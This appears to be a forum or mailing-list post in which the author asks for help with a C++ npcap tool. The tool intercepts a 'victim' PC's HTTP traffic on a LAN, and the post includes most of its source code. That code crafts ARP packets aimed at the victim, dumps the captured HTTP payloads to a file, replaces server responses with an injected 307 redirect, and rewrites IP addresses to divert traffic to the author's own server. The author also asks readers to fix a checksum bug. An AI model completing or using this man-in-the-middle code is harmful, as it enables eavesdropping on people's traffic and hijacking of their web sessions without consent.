<div dir="ltr"><div dir="ltr"><div dir="ltr"><div dir="ltr"><div dir="ltr"><div>Hi. I am trying to make a packet capture tool using npcap. What I want to do is capture the http traffic from a pc "victim" and divert it to my own server (xampp) on my local machine.</div><div>I have aleady implemented the code for checksum (ip/tcp although it still has some issues-I just couldn't find a complete implementation in C++ online). Actually I already managed to capture the traffic and replace the http headers with a 302 reponse(moved temporaly). <br></div><div><br></div><div>I also know that I can't just send the packet with my ip and my mac and expect the NIC to pick it. I know pcap_sendpacket just writes on the wire (it talks to the connected machine which in my case is the router). No problem. I can ask the router to resend the packet to me. I can set:</div><div>     -the destination mac to the one of the router (to look as if it is intended for him), <br></div><div>     -source mac doesn't matter(mine or the victim's..it only shows the previous machine in the "path"), <br></div><div>      -the destination ip will be set to mine (the router will look in his table and see my ip and the associated mac and will  create a new packet which is destined to me by mac ) <br></div><div>       -and the source ip will the victim's (so that when my computer gets the packet and xampp gives a response ,the OS will know to which ip it will send the answer). <br></div><div><br></div><div>Is anything wrong with my approach or am I missing an easier method?</div><div><br></div><div>I know the internet is "dried-out" of npcap code,tcp and ip checksum methods so this is the code I used(the checksum might still have a problem with the byte order):</div><div><br></div></div><div dir="ltr"><br></div><div dir="ltr"><br>struct EthHeader {<br>    uint8_t dest[6];<br>    uint8_t src[6];<br>    uint16_t ethertype;<br>};<br><br>struct IpHeader {<br>    u_char  ihl;        // Version (4 bits) + Internet header length (4 bits)<br>    u_char  tos;            // Type of service <br>    u_short len;           // Total length <br>    u_short frag_id; // Identification<br>    u_short frag_offs;       // Flags (3 bits) + Fragment offset (13 bits)<br>    u_char  ttl;            // Time to live<br>    u_char  proto;          // Protocol<br>    u_short csum;            // Header checksum<br>    uint8_t src[4];      // Source address<br>    uint8_t dest[4];     // Destination address<br>};<br><br>struct ArpHeader {<br>    uint16_t htype;<br>    uint16_t ptype;<br>    uint8_t hlen;<br>    uint8_t plen;<br>    uint16_t op;<br>    uint8_t sender_mac[6];<br>    uint8_t sender_ip[4];<br>    uint8_t target_mac[6];<br>    uint8_t target_ip[4];<br>};<br><br>typedef u_int tcp_seq;<br><br>struct TcpHeader {<br>    u_short source_port;    /* source port */<br>    u_short dest_port;    /* destination port */<br>    tcp_seq th_seq;        /* sequence number */<br>    tcp_seq th_ack;        /* acknowledgement number */<br>    u_char th_offx2;    /* data offset, rsvd */<br>#define TH_OFF(th)    (((th)->th_offx2 & 0xf0) >> 4)<br>    u_char th_flags;<br>#define TH_FIN 0x01<br>#define TH_SYN 0x02<br>#define TH_RST 0x04<br>#define TH_PUSH 0x08<br>#define TH_ACK 0x10<br>#define TH_URG 0x20<br>#define TH_ECE 0x40<br>#define TH_CWR 0x80<br>#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)<br>    u_short th_win;        /* window */<br>    u_short th_sum;        /* checksum */<br>    u_short th_urp;        /* urgent pointer */<br>};<br><br>//Not used<br>struct tcp_pseudo /*the tcp pseudo header*/<br>{<br>    uint32_t src_addr;<br>    uint32_t dst_addr;<br>    uint8_t zero;<br>    uint8_t proto;<br>    uint16_t length;<br>} pseudohead;<br><br><br>void fill_arp_packet(uint8_t *packet, const uint8_t *victim_ip, const uint8_t *victim_mac, const uint8_t *my_ip, const uint8_t *my_mac) {<br>    EthHeader *eth = (EthHeader *)packet;<br>    ArpHeader *arp = (ArpHeader *)(packet + sizeof(EthHeader));<br><br>    memcpy(eth->dest, victim_mac, 6);<br>    memcpy(eth->src, my_mac, 6);<br>    eth->ethertype = htons(0x0806);<br><br>    arp->htype = htons(0x0001);<br>    arp->ptype = htons(0x0800);<br>    arp->hlen = 6;<br>    arp->plen = 4;<br>    arp->op = htons(1);        // arp request<br>    memcpy(arp->sender_mac, my_mac, 6);<br>    memcpy(arp->sender_ip, my_ip, 4);<br>    memcpy(arp->target_mac, victim_mac, 6);<br>    memcpy(arp->target_ip, victim_ip, 4);<br>}<br><br>//Calculate IP checksum<br><br>//Works pretty well...no incorrect checksum till now<br>unsigned short csum(const char *buf, unsigned size)<br>{<br>    unsigned sum = 0;<br>    int i;<br><br>    /* Accumulate checksum */<br>    for (i = 0; i < size - 1; i += 2) {<br>        unsigned short word16 = *(unsigned short *)&buf[i];<br>        sum += word16;<br>    }<br><br>    /* Handle odd-sized case */<br>    if (size & 1) {<br>        unsigned short word16 = (unsigned char)buf[i];<br>        sum += word16;<br>    }<br><br>    /* Fold to get the ones-complement result */<br>    while (sum >> 16) sum = (sum & 0xFFFF) + (sum >> 16);<br><br>    /* Invert to get the negative in ones-complement arithmetic */<br>    return ~sum;<br>}<br><br>//Not so well..a few checksum incorrect...solve it if you can<br>u_short compute_tcp_checksum(IpHeader *pIph, unsigned short  *ipPayload, int payload_size) {<br>    unsigned short prot_tcp = 6;<br>    int len_tcp = payload_size;<br>    long sum;<br>    int i;<br>    sum = 0;<br><br>    /* Check if the tcp length is even or odd.  Add padding if odd. */<br>    if ((len_tcp % 2) == 1) {<br>        ipPayload[len_tcp] = 0;  // Empty space in the ip buffer should be 0 anyway.<br>        len_tcp += 1; // incrase length to make even.<br>    }<br><br>    /*<br>    //If src and dest are declared as int32 <br>    uint32_t src = ntohl(pIph->src);<br>    uint32_t dest = ntohl(pIph->dest);<br>    sum += (((unsigned short *)&src)[0]);<br>    sum += (((unsigned short *)&src)[1]);<br>    sum += (((unsigned short *)&dest)[0]);<br>    sum += (((unsigned short *)&dest)[1]);<br>    sum += payload_size; // already in host format.<br>    sum += prot_tcp; // already in host format.*/<br><br>    sum+= (256*pIph->src[0]+pIph->src[1]);//Big endian?<br>    sum += (256*pIph->src[2] + pIph->src[3]);<br>    sum +=(256*pIph->dest[0] +  pIph->dest[1]);<br>    sum += (256*pIph->dest[2] +  pIph->dest[3]);<br><br>    sum += payload_size; // already in host format....do not replace with len_tcp..payload is always payload and len_tcp changes when payload byte count is odd<br>    sum += prot_tcp; // already in host format.<br>    /*<br>      calculate the checksum for the tcp header and payload<br>      len_tcp represents number of 8-bit bytes,<br>      we are working with 16-bit words so divide len_tcp by 2.<br>    */<br>    for (i = 0; i < (len_tcp / 2); i++) {<br>        sum += ntohs(ipPayload[i]);<br>    }<br><br>    // keep only the last 16 bits of the 32 bit calculated sum and add the carries<br>    sum = (sum & 0xFFFF) + (sum >> 16);<br>    sum += (sum >> 16);<br><br>    // Take the bitwise complement of sum<br>    sum = ~sum;<br><br>    return htons(((unsigned short)sum));<br>}<br><br>//Ip and Tcp headers ARE NOT ALWAYS sizeof(struct)! There might be "options" that make the header bigger...calculate with this function<br>int getIpHeadSize(IpHeader *ip) {<br>    return (ip->ihl & 0xF) * 4;<br>}<br>int getTcpHeadSize(TcpHeader *tcp) {<br>    return ((tcp->th_offx2 & 0xF0) >> 4) * 4;<br>}<br><br>//Pointer to where the ip layer starts<br>IpHeader* getIp(const uint8_t *data) {<br>    return (IpHeader *)(data + sizeof(EthHeader));<br>}<br>//Pointer to where the tcp layer starts<br>TcpHeader* getTCP(const uint8_t *data) {<br>    IpHeader *ip = getIp(data);<br>    int ip_len = (ip->ihl & 0xF) * 4;<br>    return (TcpHeader*)(data + sizeof(EthHeader) + ip_len);<br>}<br><br>//Copy tcp payload to buffer<br>void getPayload(char buffer[65000], pcap_pkthdr *header, const uint8_t *data) {<br>    uint8_t ip_len = getIpHeadSize(getIp(data));<br>    uint8_t tcp_len = getTcpHeadSize(getTCP(data));<br><br>    __int64 payload_size = (__int64)header->caplen- (sizeof(EthHeader)+ ip_len + tcp_len);// (__int64)header->caplen - 0x42;// -sizeof(EthHeader) - sizeof(IpHeader) - sizeof(TcpHeader);<br>    if (payload_size <= 0 || payload_size < 20) {<br>        buffer[0] = 0;<br>        return;<br>    }<br><br>    memcpy(buffer, data + (sizeof(EthHeader) + ip_len + tcp_len), min(payload_size, 65000-1));<br>    buffer[min(payload_size, 65000-1)] = 0;<br>}<br><br>//Return pointer to tcp payload<br>const uint8_t* getPayloadPointer(pcap_pkthdr *header, const uint8_t *data) {<br>    uint8_t ip_len = getIpHeadSize(getIp(data));<br>    uint8_t tcp_len = getTcpHeadSize(getTCP(data));<br><br>    __int64 payload_size = (__int64)header->caplen - (sizeof(EthHeader) + ip_len + tcp_len);// (__int64)header->caplen - 0x42;// -sizeof(EthHeader) - sizeof(IpHeader) - sizeof(TcpHeader);<br>    <br>    if (payload_size <= 0 || payload_size < 20) {<br>        return NULL;<br>    }<br><br>    return (data + (sizeof(EthHeader) + ip_len + tcp_len));<br>}<br><br>//Write tcp payload to file<br>void writeHTTPDump(FILE *HttpDump,pcap_pkthdr *header,const uint8_t *packet) {<br>    //fprintf(HttpDump, "TCP Header\n");<br>    //fprintf(HttpDump, " |-Source Port : %u\n", ntohs(tcp->src_port));<br>    //fprintf(HttpDump, " |-Destination Port : %u\n", ntohs(tcp->dest_port));<br>    //fprintf(HttpDump, " |-Sequence Number : %u\n", ntohl(tcp->sequence));<br>    <br>    char payload_string[65000];<br><br>    IpHeader *ip = getIp(packet);<br>    TcpHeader *tcp = getTCP(packet);<br>    <br><br>    getPayload(payload_string,header, packet);<br><br>    if (strlen(payload_string) < 10) return;<br><br>    fprintf(HttpDump, "%s\n", payload_string);<br>    fprintf(HttpDump, "%d\n\n", strlen(payload_string));<br>    fflush(HttpDump);<br>}<br><br>//usually target is router<br>//oneway=read-listens for packets coming from victim_ip<br>//otherway-inject-alters packets coming from target(router)<br>void handle_packet(pcap_t *pcap, pcap_pkthdr *header, const uint8_t *data, const uint8_t *victim_mac, const uint8_t *victim_ip,<br>    const uint8_t *target_mac, const uint8_t *my_mac, const uint8_t *my_ip) {<br>    if (header->caplen != header->len || header->len > 65536) {<br>        return;<br>    }<br>    if (header->len < sizeof(EthHeader) + sizeof(IpHeader)) {<br>        return;<br>    }<br>    <br>    EthHeader *eth = (EthHeader *)data;<br>    if (htons(eth->ethertype) != 0x0800) {<br>        return;<br>    }<br>    if ((memcmp(eth->src, victim_mac, 6) != 0 && memcmp(eth->src, target_mac, 6) != 0) || memcmp(eth->dest, my_mac, 6) != 0) {<br>        return;<br>    }<br>    <br>    IpHeader *ip = getIp(data);<br>    // || memcmp(ip->dest, my_ip, 4) == 0<br>    //if ((memcmp(ip->src, victim_ip, 4) != 0 && memcmp(ip->dest, victim_ip, 4) != 0)) {<br>    //    return;<br>    //}<br>    if ((memcmp(ip->src, victim_ip, 4) != 0 && memcmp(ip->dest, victim_ip, 4) != 0) || memcmp(ip->dest, my_ip, 4) == 0) {<br>        return;<br>    }<br><br><br>    //if not mode specified DO NOT change packets..used just for wireshark<br>    if(oneway || otherway)<br>        switch (ip->proto) //Check the Protocol and do accordingly...<br>        {<br>            case 1: //ICMP Protocol<br>                break;<br><br>            case 2: //IGMP Protocol<br>                break;<br><br>            case 6: //TCP Protocol<br>            {<br>                TcpHeader *tcp = getTCP(data);<br>                if (otherway) {<br><br>                    char buffer[65000];<br>                    getPayload(buffer, header, data);<br><br>                    const uint8_t *payload_addr = getPayloadPointer(header, data);<br>                    if (payload_addr == NULL) break;<br><br>                    if (strlen(buffer) > 10 && strstr(buffer,"HTTP/1.1 200 OK")==buffer) {<br>                        uint8_t new_packet[65536];<br><br>                        memcpy(new_packet, data, header->len);<br>                        TcpHeader *new_tcp =getTCP(new_packet);<br>                        IpHeader *new_ip = getIp(new_packet);<br>                        int ip_len = getIpHeadSize(new_ip);<br><br>                        /*char header[65000]="";<br>                        char *temp_buff = buffer;<br>                        for (int i = 0; i < strlen(buffer)-1; i++) {<br>                            if (buffer[i] == '\r' && buffer[i + 1] == '\n') {<br>                                strncpy_s(header+strlen(header), 65000, temp_buff, i );<br>                                i += 1;<br>                            }<br>                        }*/<br><br>                        char inject_http[100] = "HTTP/1.1 307\r\nLocation:<a href="http://www.google.ro">http://www.google.ro</a>\r\n\r\n";<br>                        strcpy_s((char*)getPayloadPointer(header,new_packet),65000,inject_http);<br>                        std::cout << "Redirecting "<< ip_to_str(new_ip->src)<<" to <a href="http://google.ro">google.ro</a>" << std::endl;<br>                        //inject_http[0] = 0;<br><br><br>                        pcap_pkthdr new_header;<br>                        new_header.caplen = (getPayloadPointer(header, new_packet) - new_packet) + strlen(inject_http);<br>                        new_header.len = new_header.caplen;<br>                        new_header.ts = header->ts;<br><br><br>                        new_ip->len =htons( new_header.caplen - sizeof(EthHeader));<br>                        new_ip->csum = 0;<br>                        new_ip->csum = csum((char*)(new_packet + sizeof(EthHeader)), ip_len);<br><br>                        new_tcp->th_sum = 0;<br>                        u_short csum=compute_tcp_checksum(new_ip, (unsigned short*)(new_tcp), (new_header.len - sizeof(EthHeader) - ip_len));<br>                        <br><br>                        new_tcp->th_sum = csum;<br><br><br>                        header = &new_header;<br>                        data = new_packet;<br>                    }<br>                } else if (oneway) {<br>                    if (memcmp(eth->src, victim_mac, 6) == 0 && (ntohs(tcp->dest_port) == 80 || ntohs(tcp->dest_port) == 8080)) {<br>                        writeHTTPDump(header, data);<br>                    }<br>                }<br>            }<br>                break;<br><br>            case 17: //UDP Protocol<br>                break;<br><br>            default: //Some Other Protocol like ARP etc.<br>                break;<br>        }<br><br><br>    /*Ethernet struct:<br>        uint8_t dest[6];<br>        uint8_t src[6];<br>    */<br>    uint8_t new_packet[65536];<br>    memcpy(new_packet, data, header->len);<br>    <br>    if (memcmp(eth->src, victim_mac, 6) == 0) {<br>        if (ip->proto != 0x06) {<br>            //other packets<br>            memcpy(new_packet, target_mac, 6);<br>            memcpy(new_packet+6, my_mac, 6);<br>        } else {<br>            //tcp<br>            //destined to router<br>            //but the ip is mine..so the router will resend it to me<br>            <br>            memcpy(new_packet, target_mac, 6);//destination:router<br>            memcpy(new_packet + 6, my_mac, 6);//source:me(or victim)<br><br>            IpHeader *newIp = getIp(new_packet);<br>            TcpHeader *newTcp = getTCP(new_packet);<br>            <br>            newIp->csum = 0;<br>            memcpy(newIp->dest, my_ip, 4);<br>            memcpy(newIp->src, victim_ip, 4);<br>            newIp->csum = csum((char*)(new_packet + sizeof(EthHeader)), getIpHeadSize(newIp));<br><br>            newTcp->th_sum = 0;<br>            u_short csum =compute_tcp_checksum(newIp, (unsigned short*)(newTcp), (header->len - sizeof(EthHeader) - getIpHeadSize(newIp)));//difference between corect checksum and this is exactly 0x6<br>            newTcp->th_sum = csum;<br><br>        }<br>    } else {<br>        memcpy(new_packet, victim_mac, 6);<br>        memcpy(new_packet+6, my_mac, 6);<br>    }<br><br>    if (pcap_sendpacket(pcap, new_packet, header->len) != 0) {<br>        fprintf(stderr, "Error forwarding packet: %s\n", pcap_geterr(pcap));<br>        return;<br>    }</div><div dir="ltr">}<br></div></div></div></div></div>